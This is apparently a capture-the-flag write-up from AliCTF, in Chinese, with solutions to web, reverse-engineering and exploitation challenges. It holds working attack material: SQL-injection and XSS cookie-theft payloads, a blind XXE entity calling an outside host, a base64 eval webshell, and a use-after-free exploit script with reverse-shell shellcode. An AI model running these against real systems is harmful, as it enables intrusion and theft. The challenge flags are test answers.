::L Team::
0x00 Trend
0x01 BigData
BigData-100
一名员工通过内网web服务入侵了某台服务器,植入了webshell。
现在需根据该台服务器的web访问日志确认webshell事件id行数并取和。
例如日志中有问题的事件id行数分别为 1、3、19,那么flag即为 23 。
题目下载地址:点击下载
前期判断不同的UA和URL,统计请求次数找到一个奇怪的access4.jsp,提交不对,正常是aspx,又grep了下是否有php,发现有php记录,剔除bot,发现plus的shell:config1.php
要计算和,写了个简单的脚本
a=0
while read var
do
a=`expr $a + $var`
done
echo $a
BigData-200
Alice和Bob通过一台代理服务器使用某种协议进行通信,而黑客Mallory攻击了这台服务器,Mallory可以截取到所有Alice和Bob发送的消息。
Mallory截取某一方发送的消息后,他可把消息直接转发给另一方,也可以伪造一条消息发给另一方。
听说最近Alice会向Bob汇一笔钱,可是Alice并不知道Bob的银行账号,所以Alice决定通过代理服务器询问Bob。Mallory产生了邪恶的想法,他希望Alice把钱都汇到他的银行账号mallory@mallory.com上。
wiki链接Mallory正要凑钱去参加AliCTF,你能帮帮他么?
connect data200.alictf.com 30000
hint: wiki链接
连接服务器,观察到双方通信内容(均按2或1进行直接转发):
Alice said: Hey,Bob!
Bob said: Yes
Alice said: Let's encrypt with rsa,my public key is (11316499 , 65537)
Bob said: OK,my public key is (9204067 , 65537)
接着就是被加密的信息,继续转发两次后gameover退出.
从观察到的通信内容可以得知:
1、双方使用了RSA来加密通信内容
2、双方使用的RSA公钥的N很小,可以被分解,从而得到私钥
破解出双方的RSA私钥可以得到后续通信内容:
Alice said: What's your account?
Bob said: My account is bob@bob.com
根据题目意思,替换了Bob的邮箱为mallory@mallory.com(这里吐槽下大小写敏感)然后用Alice公钥加密后发回去.
原本以为可以拿key走人了,结果又收到一段来自Alice的新信息,拿刚才破解出的Bob私钥解密后得到:
Alice said: Let's encrypt with rsa,my public key is (8965793 , 65537)
看起来发生了新一轮的公钥交换,于是按2转发,结果直接gameover.
尝试后发现这里只有按4修改后转发才行,把第一轮收到的公钥交换信息发回去吧,信息操作过程如下:
Alice said: Let's encrypt with rsa,my public key is ( 8965793 , 65537 ) (drop by mallory)
Mallory said: Let's encrypt with rsa,my public key is ( 12137569 , 65537 )
Bob said: OK,my public key is ( 11316499 , 65537 ) (drop by mallory)
Mallory said: OK,my public key is ( 11316499 , 65537 )
接着拿新交换的公钥解出新私钥,再解出接下来的明文:
Alice said: What's your account?
Bob said: My account is bob@bob.com
于是用老方法替换邮箱,本以为这下可以拿key了,结果又出来一个新的公钥交换过程...
总结下得到的信息,可以推测出协议流程大概是这样的:
...
可以推测协议结束后应该会产生包含flag信息的内容.
每轮公钥交换大致如下,这是第二轮到第三轮的密钥交换
因此可以设计出能够攻破该协议的MITM攻击.
攻击过程通项为
根据攻击过程写出攻击脚本,逐步试验公钥交换轮数N的大小,最后可以知道N=50,flag在其后以明文消息的方式给出
脚本如下:
import socket
import math
from string import *
def exeuclid(a,b):
if b == 0:
return 1 , 0 , a;
else:
x,y,q = exeuclid(b,a%b);
x,y = y,(x-a/b*y);
return x,y,q;
def getpq(x):
for i in xrange(2, int(math.sqrt(x))+1):
if x % i == 0:
return i, x/i
def getprikey(e,n):
p, q=getpq(n)
d,x,y=exeuclid(e,(p-1)*(q-1))
if d<0:
d=(p-1)*(q-1)+d
return d, n
def decrypt(c,d,n):
m=pow(c,d,n)
return m
def encrypt(m,e,n):
c=pow(m,e,n)
return c
def reciveanddecrypt(key=()):
s = sock.recv(1024)
s = split(s,'\n')[2]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
if key == ():
s1 = s1 + chr(int(x))
else:
s1 = s1 + chr(decrypt(int(x),key[0],key[1]))
return s1
def encryptandsend(msg,n):
s1='Start'
for x in msg:
s1 = s1+str(encrypt(ord(x),65537,n))+','
s1=s1[:len(s1)-1]+'End'
sock.send(s1)
print 'Mallory said:', msg
return 0
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('data200.alictf.com', 30000))
#--init--
s = sock.recv(1024)
s = split(s,'\n')[8]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
s1 = s1 + chr(int(x))
print 'Alice said:', s1
sock.send('2')
s = sock.recv(1024)
s = split(s,'\n')[2]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
s1 = s1 + chr(int(x))
print 'Bob said:', s1
sock.send('1')
#first rsa key exchange
print 'No. ', 1,' RSA public key exchange'
s1 = reciveanddecrypt()
print 'Alice said:', s1
s1_bak = s1[:] #preserve Alice's first rsa key message for later use
s1 = s1[41:len(s1)-2]
n1=int(split(s1,',')[0])
prikey1=getprikey(65537,n1) #calculate Alice's private key
sock.send('2') #send it to Bob
s2 = reciveanddecrypt()
print 'Bob said:', s2
s2_bak = s2[:] #preserve Bob's first rsa key message for later use
s2 = s2[21:len(s2)-2]
n2=int(split(s2,',')[0])
prikey2=getprikey(65537,n2) #preserve Bob's first rsa key message for later use
sock.send('1') #send it to Alice
s1 = reciveanddecrypt(prikey2)
print 'Alice said:', s1
sock.send('2')
s1 = reciveanddecrypt(prikey1)
print 'Bob said:', s1,' (drop by mallory)'
msg='My account is mallory@mallory.com' #mallory@mallory.com
sock.send('3')
encryptandsend(msg,n1)
nn1 = n1
nn2 = n2
for i in xrange(49):
#second and another rsa key exchange
print 'No. ', i+2,' RSA public exchange'
s1 = reciveanddecrypt(prikey2)
print 'Alice said:', s1,' (drop by mallory)'
sock.send('4') #send Alice's old public key to Bob
encryptandsend(s1_bak,nn2) #use Bob's old public key to encrypt
s2 = reciveanddecrypt(prikey1)
print 'Bob said:', s2,' (drop by mallory)'
sock.send('3') #send Bob's old public key to Alice
encryptandsend(s2_bak,nn1) #use Alice's old public key to encrypt
s1 = s1[41:len(s1)-2]
nn1=int(split(s1,',')[0])
nprikey1=getprikey(65537,nn1) #calculate Alice's new private key
s2 = s2[21:len(s2)-2]
nn2=int(split(s2,',')[0])
nprikey2=getprikey(65537,nn2) #calculate Bob's new private key
s1 = reciveanddecrypt(prikey2) #use Alice's old private key to decrypt
print 'Alice said:', s1,' (drop by mallory)'
sock.send('4')
encryptandsend(s1,nn2) #use Bob's new public key to encrypt
s1 = reciveanddecrypt(prikey1) #use Bob's old private key to decrypt
print 'Bob said:', s1,' (drop by mallory)'
msg='My account is mallory@mallory.com' #mallory@mallory.com
sock.send('3')
encryptandsend(msg,nn1) #use Alice's new public key to encrypt
print sock.recv(1024)
sock.close()
ps:事实上,还存在着其他攻击方式,如先生成一个公-私钥对,在第一轮公钥交换的时候即以自己的公钥去替换二者的公钥,就可以省去破解私钥以观察二者通信流量过程.可惜的是,由于题目程序的限制,若在第一轮公钥交换的时候使用3和4来替换流量,则会直接gameover.
0x02 WEB-A
WebA-100
从登录开始吧
hint:手注帝在哪里?
http://web100a.alictf.com/fbdd6257b154b33dc977839c3cde7d79.php
Youtube提示,打开看到绕过依靠
' '-0||' ' AND pass=xxx
群里又说不超过10位的普通万能密码,试了下这样bypass了
' || 1=1 ||'
WebA-200
Casper写了一个xss内联事件的防御脚本,你能绕过他发送给管理员获取管理员的cookie吗?
http://web200a.alictf.com/9ad626cab2d2d7309626e1a1ec9c1c41.php
function hookEvent(onevent) {
document.addEventListener(onevent.substr(2), function(e) {
var element = e.target;
var flags = element['_flag'];
if (!flags) {
flags = element['_flag'] = {};
}
if (typeof flags[onevent] != 'undefined') {
return;
}
flags[onevent] = true;
if (element.nodeType != Node.ELEMENT_NODE) {
return;
}
var code = element.getAttribute(onevent);
if (code && chkxss(code)) {
console.log("xss");
element[onevent] = null;
}
}, true);
}
function chkxss(code){
try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}
var xsses = ["fromCharCode","join","concat","slice","substr","match","split","escape","encodeURI","replace","\\","eval","setTimeout","setInterval","getScript","constructor","erHTML","Attribute","unction","execScript","with","setImmediate","createElement","write","name","referer","cookie","location","click"];
for(i=0;i<xsses.length;i++){
if(decodecode.indexOf(xsses[i])>-1){
return true;
}
}
if(/(&&)|;|,|\[/.test(decodecode)&&decodecode.indexOf("+")>-1){
return true;
}
if((decodecode.indexOf("URL")>-1||decodecode.indexOf("hash"))>-1&&location.href.indexOf("#")>-1){
return true;
}
if(code.length>150){
return true;
}
if(decodecode.indexOf('open')>-1||/\Wsrc\W/.test(decodecode)){
return true;
}
return false;
}
for (var k in document) {
if (/^on/.test(k)) {
hookEvent(k);
}
}
一个前端过滤器,搜索可以看到类似的Demo.基于黑名单过滤,可以绕过.代码中并没有拦截decodeURIComponent,可以编码绕过.
之前有个try语句:
try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}
传入code被解码一次.对其二次编码即可绕过,也可code中加入%xx等不可解码字符,使decodeURIComponent出错,catch处理不进行urldecode.
对eval也使用decodeURIComponent,在全局的函数默认是window成员,可用
window[decodeURIComponent('%65val')]()
绕过过滤
将其再次URL编码访问收到Cookie.
web200aflag=ALICTF{b6daff2073c78dabe09f22ac33f53823}
这里有个小插曲,提交后xss收信得到flag提交错误,这时自己本地测试发现自己客户端莫名其妙多出一个web200aflag,得知题目此时修改过,之后再次收信得到新flag.
WebA-300
就是让你看不见
http://web300a.alictf.com/48f70e5ec569b7dec86bf9e35212c7f2.php
开始感觉是XXE,回博客温习了下,试了一些Payload都没反应,无解.
后来搜下Blind XXE,看到Black-Hat 13年有个Report,后搜索到这个博客
又得到Wooyun上鲜果网的一个实现,测试
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx/xxe/flag.xml">
%remote;
]>
看到日志了,用file://读不到文件,以php://filter读,请求写的一个log.php
<?php
$log=$_GET['c'];
file_put_contents('233.txt',$log);
?>
解码得到flag
WebA-400
Casper刚学了点黑客技术,就想找个站点练练手,发现一个页面好奇怪,你能帮他一探究竟嘛?
hint:看看目录有啥?
不光要看目录有什么,想要更多信息也要多看看Github哦。
请按照x64的方式去思考做题。
http://web400a.alictf.com/f3f4d762e85fa426dd926629bff7788b.php
请求页面抓包,可以看到Upload表单
<form action="http://web400a.alictf.com/f3f4d762e85fa426dd926629bff7788b.php" method="post"enctype="multipart/form-data">
<label for="file">hi</label><br />
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Submit">
</form>
随便上传一个文件,问是否存在这个文件,并给出地址(当前时间:年月日时分秒)如20140921154012.php,当然手工请求是404了,猜想可能上传后被删掉,测试脚本一直检查果然是这样.
使用Burp开Instruder持续发包请求,然后写脚本查看返回:
#!/usr/bin/python
import time
import requests
while 1:
url = "http://web400a.alictf.com/upload/upload/"
now = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
url = url + str(now) + ".php"
res = requests.get(url)
print res.status_code
if res.status_code == 200:
print res.text
time.sleep(0.3)
读取到题目页面内容
<? php
header("Location:http://security.alibaba.com");
if($_FILES["file"]["error"] > 0){
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}else{
$name = date('YmdHis');
$uploaddir = '/home/wwwroot/default/upload/upload/';
$uploadfile = $uploaddir . $name . '.php';
if(move_uploaded_file($_FILES["file"]["tmp_name"], $uploadfile)){
echo "upload/upload/". $name . ".php file Exist?";
}else{
echo "";
}
sleep(3);
# unlink($uploadfile);
}
?>
\<!--
@author:nidongde
\-->
<form action="f3f4d762e85fa426dd926629bff7788b.php" method="post"enctype="multipart/form-data">
<label for="file">hi</label><br />
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Submit">
</form>
LNMP环境,读到PHP.ini,禁用很多函数,不过可以列目录读文件就够了,读文件用readfile,列目录用
<?php $dir = opendir('./../');while (($file = readdir($dir)) !== false){ echo $file.'<br />';}closedir($dir);?>
在上一层upload目录读到别家孩子的shell,以及持续删文件的lalala.py脚本,连上shell在网站根目录下载到一个压缩包,根据时间判断不是熊孩子在作怪
下载后解压又需要密码,试了几个无果就放一边了,第二天看到Hint,说目录以及Github,正好web400b的日志里有很多目录,对比尝试后找到这个奇葩账号
以为是key,提交为错,想起是解压密码,解压文件,得到一个index.php源码和.DS_Store.(出题人压缩软件一定没设置好...建议你使用BetterZip ;)
<?php
foreach($_REQUEST as $key => $value){
if(eregi('^(_COOKIE|GLOBALS|_GET)', $key) || strlen($key) <= 0){
exit('error');
}else{
foreach(Array('_GET', '_POST', '_COOKIE') as $_REQUEST){
var_dump($key);
foreach($$_REQUEST as $key => $value){
var_dump($value);
$value['alibaba']['security'] = (int)$value['alibaba']['security'];
echo $value['alibaba']['security'];
echo $key;
if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){
find_flag($value['alibaba']['security']);
}else{
exit('error');
}
}
}
}
}
function find_flag(){
$key = 'FLAG';
echo $key;
}
?>
\<html>
<body>
<!-- http://web400b.alictf.com/alibaba_CTF_security/-->
</body>
\</html>
首先可以知道是通过POST请求,加入以下代码测试输出,
foreach(Array('_GET', '_POST', '_COOKIE') as $_REQUEST){
var_dump($key);
foreach($$_REQUEST as $key => $value){
var_dump($value);
在POST参数为_POST[alibaba][security]=xxx时可以正确赋值并满足$key == '_POST' && strlen($value['alibaba']['security']) >= 0
之后便要通过~$value['alibaba']['security'] == -2347230984235
int型在32位机器上最大为-2116126678~2147483647,肯定有绕过思路,想法是==比较过程中,左右两边类型不同会将右边的float型转换为int型,与左边的int型比较,这样可能可以Bypass,刚要测试,看到群消息说切换为64位,就赶紧秒了...
接着试了一下刚刚的想法,还是没通过.坐等官方的Wannabe.
WebA-500
最喜欢你们这些跨站师
http://web500a.alictf.com/e936a8a8ff906c8f057ed84bf4332585.php
Function("".replace(/.{8}/g,function(u){return String.fromCharCode(parseInt(u.replace(/\u200c/g,1).replace(/\u200d/g,0),2))}))();
String.prototype.remove = function(start, length) {
var l = this.slice(0, start);
var r = this.slice(start+length);
return l+r;
}
function xescape(input) {
rawinput = input;
input = input.replace(/<([a-zA-Z])/g, '<_$1');
input = input.toUpperCase();
input = input.remove(2,1);
if(rawinput.length != input.length){input = "";}
return "<h1>"+input+"<h1>";
}
document.write(xescape(''));
<br>请使用chrome做测试,flag在管理员的cookie中<br>
<br>example:php?code=xxxxx<br>
<a href="4a924593e74f6b64d205fe248cefad33.php">url提交</a>
首先绕过
Function("xxxxx".replace(/.{8}/g,function(u){return String.fromCharCode(parseInt(u.replace(/\u200c/g,1).replace(/\u200d/g,0),2))}))();
防止跳转,这里xxxxx因为之前的内容没能保存下载(出乱码了:( ),不能复现
函数会检查url最后是否有helloalibaba,在location.hash里加上#helloalibaba即可避免跳转.
xescape函数被官方修改过,如果传入类似a<img,第一步会被变成a<_img,remove(2,1)后删除下划线,长度没有变化,转换成大写部分使用html编码绕过.
payload:
http://web500a.alictf.com/e936a8a8ff906c8f057ed84bf4332585.php?code=a<\img src=1 onerror=eval('\\144\\157\\143\\165\\155\\145\\156\\164\\56\\167\\162\\151\\164\\145\\50\\47xxxx和谐xxxx\\75\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\141\\156xxxx和谐xxxx\\163\\143\\162\\151\\160\\164\\76\\47\\51')>#helloalibaba
url编码后提交收信,得到flag.
0x03 Reverse
Reverse-100
ch1.exe会把获取到的信息加密存储到"secret.db"文件中。
找出加密的key,加密的key提交服务器即为得分的flag.
题目下载地址:点击下载
ch1.exe这个程序会搜集主机信息,OD动态调试
获取本地测试主机信息后会将主机信息和这个字符串进行加密
之后在函数sub_4225e0中进行加密
不过不需要分析加密过程了,字串
19dlo*%AO+3i87BaweTw.lc!)61K{9^5
就是flag
Reverse-200
逆向分析Ch3.exe,点击Ch3.exe上的button会得倒一个key。
程序好像有问题,请修改并给出结果。
题目下载地址:点击下载
运行Ch2.exe,同目录下的flag.crypt文件大小会从1kb变为0kb,猜想解题思路要么是程序提供解密函数需要手工定向,要么是逆向算法.
没有找到decrypt函数,猜想是要逆向算法,运行几次后发现同目录下需要有一个flag.txt,于是把flag.crypt文件修改为flag.txt,进入到encrypt函数。
在IDA Pro中定位,观察到有一些干扰指令的存在
用010 editor全部替换为\x90之后,IDA Pro可以显示正常的代码,F5查看反编译情况,分析后发现子函数sub_00401000中包含了加密算法
关键的算法只有这几行
用UltraEdit查看flag.crypt文件,大小为40个字节,结合算法分析,是由20个字节每个字节的高位和低位扩张得来.
还原得到flag
a1dlo3i87@vt(#$^~kb25-+8=csm,%*4
Reverse-300
逆向分析Ch3.exe,点击Ch3.exe上的button会得倒一个key。
程序好像有问题,请修改并给出结果。
题目下载地址:点击下载
X64且加了壳,网上找到UPXShell.exe把壳给脱了,在崩溃点向上找,发现一段代码:
很明显,程序显示加载DecryptDll.dll,然后寻找dll中的RSADecrypt函数,最后意图调用它.
但是没有DecryptDll.dll,自然就寻找不到RSADecrypt函数,就会发生一个错误的调用.
找来找去费了好长时间,就试了下是否在程序里面,果段拉进binwalk
提取出来后拉进IDA一看,就导出了RSADecrypt函数
在执行时修改下R8寄存器的值使其指向一块可写内存,调用后flag就会出现在R8寄存器指向的地方.
Reverse-400
Casper使用远控木马的控制端生成了一个木马trojan.exe。
但Casper发现这个远控木马控制端似乎有一个可疑的下载接口。
可以通过木马trojan.exe去调用这个接口下载到控制端的secret.rar文件。
让我们来尝识下载控制端的secret.rar文件吧,看看有什么秘密。
hint:如果找到下载接口,下载secret.rar不成功,可以试试连接88端口。
题目下载地址:点击下载
Reverse400费了好长时间,最后半小时才弄出来.
一开始想的太复杂,想从控制端和木马的通信协议入手,然后再分析控制端和木马对于不同数据的执行情况.结果弄了好久还是没搞太明白...
最后无耐队友建议直接修改sub_405D10函数中的case跳转试下,虽然很早就知道那条路径是处理Secret.rar文件的函数,但一直以为那是下载后的处理流程,而真正下载的流程应该在前面.谁知道竟然真的可以...
修改后得到Secret.rar
解压后是web发给队友,愉快的在最后45分钟收到文件.打开居然是html,看到
<?php include "img/aliyun.png" ?>
图片有内涵,得到
<?php
$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");$order=array(59, 71, 73, 13, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 0, 24, 72, 70, 28, 48, 19, 12, 0, 7, 5, 37, 0, 24, 88, 87, 0, 24, 72, 12, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 93, 18, 87, 66, 28, 18, 45, 37, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 93, 18, 87, 40, 28, 18, 17, 5, 42, 25, 37, 91, 0, 12, 25, 87, 0, 24, 72, 91, 28, 48, 19, 49, 11, 25, 37, 91, 63, 75, 68, 87, 42, 24, 60, 87, 93, 18, 87, 5, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 42, 24, 60, 87, 63, 18, 58, 87, 93, 18, 0, 37, 28, 48, 19, 66, 0, 25, 37, 91, 63, 24, 90, 87, 42, 24, 60, 87, 0, 24, 72, 91, 28, 48, 19, 40, 42, 25, 5, 70, 42, 50, 5, 70, 63, 7, 37, 91, 63, 83, 68, 87, 42, 24, 60, 87, 93, 18, 11, 66, 28, 18, 81, 7, 28, 48, 19, 7, 0, 7, 37, 91, 63, 18, 43, 87, 93, 18, 81, 70, 28, 18, 17, 37, 0, 50, 37, 91, 63, 83, 63, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 0, 24, 72, 70, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 37, 0, 18, 58, 87, 63, 24, 50, 87, 0, 24, 17, 5, 28, 48, 19, 40, 63, 7, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 18, 17, 37, 63, 58, 5, 7, 0, 25, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 48, 19, 49, 63, 58, 5, 37, 0, 18, 58, 87, 93, 18, 0, 7, 28, 48, 19, 40, 11, 7, 37, 91, 63, 66, 50, 87, 93, 18, 1, 31, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 18, 75, 49, 28, 48, 19, 12, 0, 25, 37, 91, 0, 12, 50, 87, 93, 18, 11, 37, 28, 48, 19, 7, 63, 50, 5, 70, 63, 7, 37, 91, 63, 75, 63, 87, 93, 18, 81, 70, 28, 48, 19, 40, 0, 58, 5, 70, 63, 7, 37, 91, 63, 83, 68, 87, 42, 24, 60, 87, 93, 18, 11, 66, 28, 48, 19, 66, 0, 25, 5, 91, 0, 7, 37, 91, 63, 18, 43, 87, 93, 18, 81, 70, 28, 18, 17, 37, 0, 50, 5, 70, 42, 25, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 48, 19, 40, 0, 7, 37, 91, 63, 75, 1, 87, 0, 24, 72, 70, 80, 58, 66, 3, 86, 24, 14, 19, 6, 11, 73, 73, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for($i=0;$i<count($order);$i++)
{$do_me=$do_me.$terms[$order[$i]];}
echo $do_me;
?>
好熟悉,中间思路请参考http://drops.wooyun.org/tips/2988
自己解码也很简单,得到
if(isset($_POST["\109\x33\110\103\x44\79\x54\x74\51\x44\79\x54\x76\109\x35\108\x7A\x6B\97\x70\x44\79\x54\97\49\x31\x41\x54\97\108\x69\98\97\x62\97\x44\65\x53\x48\x69\110\x63\x44\79\x54\99\x6F\109"])) { eval(base64_decode($_POST["\109\51\110\x67\x44\79\x54\116\51\x44\79\x54\x76\109\x35\x6C\x7A\x6B\97\x70\x44\79\x54\97\x31\x31\x41\x54\97\x6C\x69\x62\97\x62\97\x44\x41\83\x48\x69\110\99\x44\79\x54\x63\x6F\109"])); }
默默的echo发现不对,颤栗的双手默默的看着解不出来的值,说好的八进制怎么会有9呢...队友说,不要太认真,把他当10进制ASCII看待吧...于是我就默默信了...
最终三个人得到不同的奇葩版本,一综合flag就有了
m3ngD0Tt3D0Tvm5lzkapD0Ta11ATalibabaa11ATalibabaDASHncD0Tcom
m3ng.t3.vm5lzkap.a11@alibabaa11@alibaba-nc.com
m3ng.t3.vm5lzkap.a11@alIbaba-inc.com
m3ng.t3.vm5lzkap.a11@alibaba-inc.com
Reverse-500
请分析Ch5.exe,该程序在reverse500.alictf.com上监听55555端口且存在多个漏洞。
尝试利用这些漏洞控制Ch5.exe去读取服务端C盘根目录下的succ.txt内容并提交。
目标操作系统win2008-sp2 / x32。
题目下载地址:点击下载
拉进IDA中分析函数流程.程序accept连接后开启一个线程,线程首先建立一个大小为1024字节的对象A,然后recv1280字节数据,进入sub_401620函数
在sub_401620函数中,程序对接受数据4-8字节进行判断
当v10为0x2222时call进sub_401270函数
在sub_401270函数中,程序首先向对象A+4的偏移地址复制0x80字节数据.然后从对象A+4的偏移开始读取又发送数据+12的数量的字节数发向客户端.而对象分配后
在对象的0x84,0x88,0x8c地址出存放了kernel32,ntdll和对象的地址.所以这个内存泄漏漏洞用来过ASLR.
当v10为0x3333时call进sub_401380函数
该函数中sub_401550函数把对象A给释放了,然后有按照接受数据指定大小分配了一个空间.UAF
当v10为0x5555时调用对象A中的某个虚函数
结合上步的UAF用来获得任意代码执行.首先根据泄漏的基址过ALSR和构造ROP过DEP.
Exp如下
#coding:utf-8
from socket import *
import struct
s = socket(AF_INET, SOCK_STREAM)
#s.connect(('192.168.206.133', 55555))
s.connect(('42.120.63.122', 55555))
#leak memory
offset = '\x0c\x00\x00\x00'
data_type = struct.pack('I', 0x2222)
malloc_size = struct.pack('I', 0x400 + 0xc + 4)
send_data = offset + data_type
send_data += '\x90'*(0x500 - len(send_data))
s.send(send_data)
recv_data = s.recv(1024)
kernel32_base = struct.unpack('I', recv_data[0x80:0x84])[0]
nt_base = struct.unpack('I', recv_data[0x84:0x88])[0]
object_add = struct.unpack('I', recv_data[0x88:0x8c])[0]
print 'address of kernel32,ntdll,object are', hex(kernel32_base), hex(nt_base), hex(object_add)
#UAF
offset = struct.pack('I', 0x100)
data_type = struct.pack('I', 0x3333)
nop = '\x90' * (0x100 - 8)
malloc_size = struct.pack('I', 0x400 + 0x100 + 4)
send_data = offset + data_type + nop+ malloc_size
send_data += struct.pack('I', object_add+4)
send_data += '\x90'*8
#virtualprotect
send_data += struct.pack('I', kernel32_base+0x1DC3)
#xchg eax,esp; pop; pop; pop; ret 4
send_data += struct.pack('I', nt_base + 0x7907)
new_object_offset = len(offset + data_type + nop+ malloc_size)
send_data += struct.pack('I', object_add + 0x164-new_object_offset)
send_data += struct.pack('I', object_add + 0x164-new_object_offset)
send_data += struct.pack('I', 0x1000)
send_data += '\x40\x00\x00\x00'
send_data += struct.pack('I', object_add)
send_data += '\x90'*(0x164 - len(send_data))
shellcode = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
shellcode += "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
shellcode += "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
shellcode += "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
shellcode += "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
shellcode += "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
shellcode += "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
shellcode += "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
shellcode += "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
shellcode += "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
shellcode += "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
shellcode += "\x68\x17\x58\xe5\x74\x68\x02\x00\xfc\x15\x89\xe6\x6a\x10\x56"
shellcode += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
shellcode += "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
shellcode += "\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
shellcode += "\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
shellcode += "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
shellcode += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
shellcode += "\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
send_data += shellcode
send_data += '\x90'*(0x500 - len(send_data))
s.send(send_data)
print s.recv(1024)
#code excute
offset = '\x0c\x00\x00\x00'
data_type = struct.pack('I', 0x5555)
malloc_size = struct.pack('I', 0x400 + 0xc + 4)
send_data = offset + data_type
send_data += '\x90'*(0x500 - len(send_data))
s.send(send_data)
print s.recv(1024)
0x04 WebB
WEBB-100
登录进来以后
http://web100b.alictf.com/3ef067863a6db0a7fc218aceaee9366b.php
登陆之后抓包,可以看到hi xbb(熊宝宝?),然后Cookie有username,isadmin,修改都会出错(敢不敢按照程序来),Sign=df00ea56c4d2e709dbacf0eddf00ea56469b9e30
组合修改,Sign掐指一算40位,仔细一盯有重复,去掉前8位解码MD5为xbb0
然后构造admin1即可
WEBB-200
Casper写了一个安全的获取页面响应的接口给大家用,他真的安全吗?
http://web200b.alictf.com/5b03e4d1a8cefc5121e1c1c0dd9b1cdc.php
